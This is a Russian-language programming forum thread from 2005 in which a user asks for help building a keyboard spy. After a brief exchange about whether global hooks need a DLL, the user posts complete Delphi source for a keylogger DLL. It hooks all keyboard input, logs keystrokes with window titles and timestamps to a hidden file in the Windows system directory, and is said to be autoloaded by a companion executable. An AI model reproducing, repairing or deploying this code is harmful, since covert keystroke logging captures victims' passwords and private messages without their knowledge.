Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Клавиатурный Шпион

5.9K
24 ноября 2005 года
Eksell
49 / / 16.11.2005
У меня тут есть вопрос, а именно : можно ли сделать клавиатурного шпиона без всяких динамических библиотек, чисто ексешник? Может у кого есть исходничек такой программы? Очень нужно, помогите Please!
Заранее Спасибо!
303
24 ноября 2005 года
makbeth
1.0K / / 25.11.2004
Цитата:
Originally posted by Eksell
У меня тут есть вопрос, а именно : можно ли сделать клавиатурного шпиона без всяких динамических библиотек, чисто ексешник? Может у кого есть исходничек такой программы? Очень нужно, помогите Please!
Заранее Спасибо!


Видимо, нельзя. Вот что пишут нам в MSDN:

Цитата:

The global hooks are a shared resource, and installing one affects all applications in the same desktop as the calling thread. All global hook functions must be in libraries.

9.8K
24 ноября 2005 года
bqserg
56 / / 27.09.2005
Цитата:
Originally posted by makbeth
Видимо, нельзя. Вот что пишут нам в MSDN:



Ошибочка!!! МОЖНО!!!

Извеняюсь конечно, но где и когда это было уже не помню...8)

В одной "хакерской" статье видел рассмотрение данной проблемы на примере пары программ. И они без всяких DLL'ов, чисто своим кодом все ловили.
Так что можно!

5.9K
24 ноября 2005 года
Eksell
49 / / 16.11.2005
Я тут нашел исходничек, примерно то что нужно было мне но он чето не пашет так как должен... Помогите в нем разобраться кому не лень. Я в Delphi новечек так что очень прошу помоч.

Вот dll'ка :

======= bks.dll =============================

library bks32;

uses Windows;

var
KHook: HHOOK;
Wind: HWND;

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; // 01000000000000000000000000000000
var
Symb: ShortString;
KL: array [0..8] of Char;
WindCaption, WindDir: array [0..50] of Char;
FStruct: TOFSTRUCT;
F: TextFile;
STime: TSYSTEMTIME;
begin

if not (Code=HC_ACTION) then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;

if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;

GetSystemDirectory(@WindDir, 50);
AssignFile(F, WindDir+'\bks32.dat');

if OpenFile(PChar(WindDir+'\bks32.dat'), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
SetFileAttributes(PChar(WindDir+'\bks32.dat'), FILE_ATTRIBUTE_SYSTEM);
end
else Append(F);

if Wind <> GetActiveWindow then
begin
UnhookWindowsHookEx(KHook);

Wind:=GetActiveWindow;
GetWindowText(Wind, @WindCaption, 50);
GetLocalTime(STime);

WriteLn(F,'');
WriteLn(F, '[', WindCaption, ' | ', STime.wDay, '.', STime.wMonth, '.',
STime.wYear, ' ', STime.wHour, ':', STime.wMinute, ':', STime.wSecond, ']');
end;

case wParam of
// Служебные
112: Symb:=' F1 ';
113: Symb:=' F2 ';
114: Symb:=' F3 ';
115: Symb:=' F4 ';
116: Symb:=' F5 ';
117: Symb:=' F6 ';
118: Symb:=' F7 ';
119: Symb:=' F8 ';
120: Symb:=' F9 ';
121: Symb:=' F10 ';
32: Symb:=' ';
8: Symb:=' BackSpace ';
9: Symb:=' Tab ';
13: Symb:=' Enter ';
16: Symb:=' Shift ';
17: Symb:=' Ctrl ';
18: Symb:=' Alt ';
20: Symb:=' CapsLock ';
27: Symb:=' Esc ';
45: Symb:=' Insert ';
33: Symb:=' PageUp ';
34: Symb:=' PageDown ';
35: Symb:=' End ';
36: Symb:=' Home ';
37: Symb:=' Left ';
38: Symb:=' Up ';
39: Symb:=' Right ';
40: Symb:=' Down ';
46: Symb:=' Delete ';
44: Symb:=' PrintScreen ';
145: Symb:=' ScrollLock ';
19: Symb:=' Pause ';
144: Symb:=' NumLock ';

// Цифры
48..57: Symb:=Chr(wParam);
96: Symb:='0';
97: Symb:='1';
98: Symb:='2';
99: Symb:='3';
100: Symb:='4';
101: Symb:='5';
102: Symb:='6';
103: Symb:='7';
104: Symb:='8';
105: Symb:='9';

// Другое
192: Symb:='`';
189,109: Symb:='-';
187: Symb:='=';
220: Symb:='\';
106: Symb:='*';
107: Symb:='+';
110: Symb:='.';
111: Symb:='/';
end;

GetKeyboardLayoutName(KL);
if KL = '00000409' then
begin
case wParam of
219: Symb:='[';
221: Symb:=']';
186: Symb:=';';
222: Symb:='"';
188: Symb:=',';
190: Symb:='.';
191: Symb:='/';
65..90: Symb:=Chr(wParam);
end;
end;
if KL = '00000419' then
begin
case wParam of
219: Symb:='Х';
221: Symb:='Ъ';
186: Symb:='Ж';
222: Symb:='Э';
188: Symb:='Б';
190: Symb:='Ю';
191: Symb:='.';
65: Symb:='Ф';
66: Symb:='И';
67: Symb:='С';
68: Symb:='В';
69: Symb:='У';
70: Symb:='А';
71: Symb:='П';
72: Symb:='Р';
73: Symb:='Ш';
74: Symb:='О';
75: Symb:='Л';
76: Symb:='Д';
77: Symb:='Ь';
78: Symb:='Т';
79: Symb:='Щ';
80: Symb:='З';
81: Symb:='Й';
82: Symb:='К';
83: Symb:='Ы';
84: Symb:='Е';
85: Symb:='Г';
86: Symb:='М';
87: Symb:='Ц';
88: Symb:='Ч';
89: Symb:='Н';
90: Symb:='Я';
end;
end;

Write(F, Symb);
CloseFile(F);

// Передать сообшение другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
// При инициализации установить ловушку
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);
end.

=================================================================

А в exe'шнике он просто регистрирует в системе класс для автоматической загрузки Шпиона.
Help!
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог